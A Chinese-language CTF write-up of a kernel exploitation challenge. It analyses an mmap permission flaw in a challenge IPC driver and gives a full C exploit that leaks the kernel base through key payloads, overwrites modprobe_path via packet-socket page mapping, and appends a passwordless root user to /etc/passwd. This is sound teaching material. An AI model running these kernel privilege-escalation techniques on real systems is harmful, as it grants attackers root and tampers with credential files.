BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

WriteUp 1个月前 admin
27 0 0




前言


一个师傅给了我一道linux kernel pwn题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是BFS Lab2022 年的一道招聘题(https://labs.bluefrostsecurity.de/blog.html/2022/10/25/bfs-ekoparty-2022-exploitation-challenges/)?还有一道window利用相关的,但我不太会,这两道题目做出来就可以获得面试资格。

这里先简单看下其要求:


BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核5.15.0-52-generic(目前 2024 已经不是最新了)的Ubuntu 22.04 VM上完成利用,如果在开启SMAP/SMEP时可以完成利用则会获得额外的加分。



环境搭建


目前我虚拟机的内核版本为6.5.0,所以这里简单切换下内核版本,这里我选择的版本为5.15.0-72-generic,主要是不想自己源码编译。

其给了模块源码,自己编译安装即可,这里给出脚本:


Makefile如下:

obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)

all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean

install.sh如下:

#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder





漏洞分析


先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情。

正如挑战所描述的那样,其实现了一个IPC模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与SCM_RIGHTS消息非常相似,发送的其实是底层的struct file结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程A发送数据data到进程B,此时会把data挂在B对应blunder_proc结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程B接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:

说实话,跟sendmsg系统调用传递SCM_RIGHTS辅助消息的底层处理非常像(:可以说是一个阉割版

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

这里解释一些结构体:

◆struct blunder_device:总的管理结构,每个进程的blunder_proc会被维护成一颗红黑树,其中blunder_device.procs就是RBT的根。
  • context_manager没啥用(:代码中没啥实现相关操作。


// 全局管理结构
struct blunder_device {
spinlock_t lock;
struct rb_root procs;
struct blunder_proc *context_manager;
};

◆struct blunder_proc:每一个打开/dev/blunder的进程都会维护一个,其保存在file的private_data域。
  • struct blunder_alloc alloc数据缓冲区管理结构,其他进程发送的数据会被保存在里面。

  • struct list_head messages是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里。


/*
* @refcount: number of references for this object.
* @rb_node : links procs in blunder_device.
* @alloc: the allocator for incoming messages
* @handles: rb-tree of handles to other blunder_proc.
* @messages: list of IPC messages to be delivered to this proc
*/
// 每个进程维护一个
struct blunder_proc {
struct kref refcount;
spinlock_t lock;
int pid;
int dead;
struct rb_node rb_node; // 与 blunder_device 连接成 RBT
struct blunder_alloc alloc; // 数据缓冲区管理结构
struct list_head messages; // 接收队列
};

◆struct blunder_alloc:缓冲区管理结构。
  • mapping指向缓冲区。

  • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移。

  • buffers:待接收数据块链表。


/*
* @mapping: kernel mapping where IPC messages will be received.
* @mapping_size: size of the mapping.
* @buffers: list of `blunder_buffer` allocations.
* @user_buffer_offset: distance between userspace buffer and mapping
*/
struct blunder_alloc {
spinlock_t lock;
void *mapping;
size_t mapping_size;
ptrdiff_t user_buffer_offset;
struct list_head buffers;
};

struct blunder_buffer待接收数据会以如下结构进行保存。

struct blunder_buffer {
struct list_head buffers_node;
atomic_t free;
size_t buffer_size; // buffer 空间的大小
size_t data_size; // 实际存储数据的大小
size_t offsets_size;
unsigned char data[0];
};

struct blunder_message被挂到接收队列链表的结构。

struct blunder_message {
struct list_head entry;
int opcode;
struct blunder_proc *from; // --> pid??
struct blunder_buffer *buffer;
size_t num_files;
struct file **files;
};

struct blunder_user_message用户空间传入结构。

struct blunder_user_message {
int handle; // pid
int opcode;
void *data; // 要发送/接收数据的指针
size_t data_size; // 要发送/接收数据的大小
size_t *offsets;
size_t offsets_size;
int *fds; // fds[num_fds]
size_t num_fds;
};

对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:

static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......
// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
if (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
goto out;
}
......

这里得配合作者给的提示(https://stackoverflow.com/questions/57286070/why-android-fail-to-boot-after-add-prot-write-flag-to-mmap-of-dev-binder)
主要还是我太菜了,一开始并没觉得有啥问题
BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

通过作者给的提示可以知道这里虽然检查了VM_WRITE,但是并没有检查VM_MAYWRITE,也就是说如果映射时如果带有VM_MAYWRITE标志则在后面可以利用mprotect赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下mmap源码:
BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

可以发现对于使用O_RDWR打开的文件,在进行文件映射时,会默认加上VM_MAYWRITE标志,所以整个漏洞就很清晰了:

◆使用O_RDWR打开驱动文件。

◆只使用PROT_READ进行mmap映射,此时可以通过检查。

◆使用mprotect修改被映射区域的权限为可读可写。





漏洞利用


这里mmap最小的映射大小就是0x1000,所以对应到内核就是kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

最开始我想的是通过修改buffer_size去实现越界写,但是发现我的环境开启了Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个struct blunder_buffer header,这里在进行写入时就不存在跨页了。

所以这里我们获得了一个比较强大的原语:
kmalloc-4k堆溢出 【下溢】,并且溢出内容可控。

按理说利用就变得简单了,但是我的环境又存在cg隔离,导致常用的适配大对象的结构体pipe_buffer/msg_msg都不适用,而且这里并不好利用cross cache攻击,因为kmalloc-4kpageperslab为 8,并且这里的溢出只能是相邻溢出,并且由于Hardened usercopy保护,这里最多溢出0xfd0,所以我们得利用cross cache形成如下堆布局才行:

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

由于笔者对cross cache攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在GFP_KERNEL分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod泄漏kbase+pgvUSMA篡改modprobe_path。
这里比较niceubumodprobe_path相关保护似乎是关了的,当然没关也无所谓,USMA劫持setresuid相关底层函数也行

◆所以这里先堆喷形成如下布局:
BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

◆然后利用越界写修改user_key_payload1datalen从而实现越界读取user_free_payload_rcu从而泄漏kbase。

◆最后在释放掉user_key_payload1,然后申请pgv占据该对象,此时就可以利用越界写修改相关地址为modprobe_path即可完成USMA劫持modprobe_path。

最后exp如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>


void err_exit(char *msg)
{
printf("33[31m33[1m[x] Error at: 33[0m%sn", msg);
sleep(1);
exit(EXIT_FAILURE);
}

void info(char *msg)
{
printf("33[32m33[1m[+] %sn33[0m", msg);
}

void hexx(char *msg, size_t value)
{
printf("33[32m33[1m[+] %s: %#lxn33[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("33[33m[*] %s:n33[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* root checker and shell poper */
void get_root_shell(void)
{
system("echo '#!/bin/shn/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo 'xffxffxffxff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");
system("su hacker");
exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("33[34m33[1m[*] Status has been saved.33[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("33[34m33[1m[*] Process binded to core 33[0m%dn", core);
}


#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)

struct blunder_user_message {
int handle;
int opcode;
void *data;
size_t data_size;
size_t *offsets;
size_t offsets_size;
int *fds;
size_t num_fds;
};

void set_ctx(int fd) {
ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}

void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {
struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}

void recv_msg(int fd, int* fds, size_t num_fds) {
struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}

void free_buf(int fd, unsigned long arg) {
ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}

int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

return s;
}

// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}

#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{
bind_core(0);
int pipe_fd[2];
pipe(pipe_fd);
pid_t pid = fork();
if (!pid) {
unshare_setup();
char* mmap_addr;
int key_id[KEY_NUMS];
char desc[0x10] = { 0 };
char buf[0x10000] = { 0 };
int fds[MAX_FDS] = { 0 };
uint64_t kheap = 0;
uint64_t khead = 0;
uint64_t kbase = 0;
uint64_t koffset = 0;
uint64_t modprobe_path = 0x1e8bb00;
int evil_key = -1;
int res, flag;
int pid = getpid();
int fd = open("/dev/blunder", O_RDWR);
if (fd < 0) err_exit("open /dev/blunder");

for (int i = 0; i < KEY_NUMS / 2; i++) {
sprintf(desc, "%s%d", "XiaozaYa", i);
key_id[i] = key_alloc(desc, buf, 2032);
}

mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if (mmap_addr == MAP_FAILED) err_exit("mmap");


for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
sprintf(desc, "%s%d", "XiaozaYa", i);
key_id[i] = key_alloc(desc, buf, 2032);
}

printf("[+] mmap_addr: %#llxn", mmap_addr);
if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");

send_msg(fd, pid, buf, 0x10, NULL, 0);

kheap = *(uint64_t*)(mmap_addr) - 0x40;
khead = *(uint64_t*)(mmap_addr + 8);
printf("[+] kheap: %#llxn", kheap);
printf("[+] khead: %#llxn", khead);

*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
binary_dump("first buf", mmap_addr, 0x30);
binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);

*(uint64_t*)(buf + 16) = 0xfff0;
send_msg(fd, pid, buf, 0x20, NULL, 0);
binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);

memset(buf, 0, sizeof(buf));

for (int i = 0; i < KEY_NUMS; i++) {
res = key_read(key_id[i], buf, 0xfff0);
if (res > 0x1000) {
printf("[+] key overread data len: %#lxn", res);
evil_key = i;
break;
}
}

if (evil_key == -1) {
write(pipe_fd[1], "N", 1);
err_exit("not hit evil_key");
}

printf("[+] evil_key: %dn", evil_key);

for (int i = 0; i < KEY_NUMS; i++) {
if (i != evil_key) {
key_revoke(key_id[i]);
}
}

res = key_read(key_id[evil_key], buf, res);
int hit_count = 0;
for (int i = 0; i < res / 8; i++) {
uint64_t val = *(uint64_t*)(buf + i*8);
if ((val&0xfff) == 0xa60) {
if (kbase == 0) {
printf("[+] user_free_payload_rcu: %#llxn", val);
kbase = val - 0x52ba60;
koffset = kbase - 0xffffffff81000000;
}
hit_count++;
//break;
}
}

if (kbase == 0) {
write(pipe_fd[1], "N", 1);
err_exit("Failed to leak kbase");
}

printf("[+] hit count: %dn", hit_count);
printf("[+] kbase: %#llxn", kbase);
printf("[+] koffset: %#llxn", koffset);

modprobe_path += kbase;
printf("[+] modprobe_path: %#llxn", modprobe_path);
key_revoke(key_id[evil_key]);

// key_unlink(key_id[evil_key]);

int packet_fd;
char* page;
#define TRY_NUMS 0x20
int try_keys[TRY_NUMS];
int index = 0;
memset(desc, 0, sizeof(desc));
for (int i = 0; i < 257; i++) {
*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
}
for (int i = 0; i < TRY_NUMS; i++) {
printf("[+] try %d/32n", i);
packet_fd = pagealloc_pad(257, 0x1000);
if (packet_fd < 0) {
write(pipe_fd[1], "N", 1);
perror("pagealloc_pad");
exit(-1);
}

*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
send_msg(fd, pid, buf, 257*8, NULL, 0);

page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
if (page == MAP_FAILED) {
write(pipe_fd[1], "N", 1);
printf("[x] packet_fd: %dn", packet_fd);
perror("mmap for USMA");
exit(-1);
}

page[strlen("/sbin/modprobe")] = 'x00';
printf("[s] hit string: %sn", &page[modprobe_path&0xfff]);
if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {
strcpy(&page[modprobe_path&0xfff], "/tmp/x");
write(pipe_fd[1], "Y", 1);
goto OUT;
}

munmap(page, 0x1000*257);
close(packet_fd);

sprintf(desc, "%s%d", "Try", index);
try_keys[index++] = key_alloc(desc, buf, 2032);
}

write(pipe_fd[1], "N", 1);
OUT:
puts("[+] Child Porcess Over");
exit(0);
} else if (pid < 0) {
err_exit("fork");

} else {

char buf[1];
read(pipe_fd[0], buf, 1);
// wait(NULL);
sleep(2);
if (buf[0] == 'Y') {
get_root_shell();
}
puts("[+] Parent Porcess Over");
exit(0);
}

/*
// just test
fds[0] = open("./test", O_RDWR);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
recv_msg(fd, &fds[1], 1);
printf("%dn", fds[1]);
binary_dump("MMAP DATA", mmap_addr, 0x100);
*/

return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高。

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge




总结


这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么。

相关注释源码和exp可在笔者的github下载(https://github.com/XiaozaYa/kernel-PWN)。




BFS Ekoparty 2022 Linux Kernel Exploitation Challenge


看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge



# 往期推荐

1、怎么让 IDA 的 F5 支持一种新指令集?

2、2024腾讯游戏安全大赛-安卓赛道决赛VM分析与还原

3、Windows主机入侵检测与防御内核技术深入解析

4、系统总结ARM基础

5、AliyunCTF 2024 – BadApple


BFS Ekoparty 2022 Linux Kernel Exploitation Challenge


BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

球分享

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

球点赞

BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

球在看



BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

点击阅读原文查看更多

原文始发于微信公众号(看雪学苑):BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

版权声明:admin 发表于 2024年5月16日 下午5:59。
转载请注明:BFS Ekoparty 2022 Linux Kernel Exploitation Challenge | CTF导航

相关文章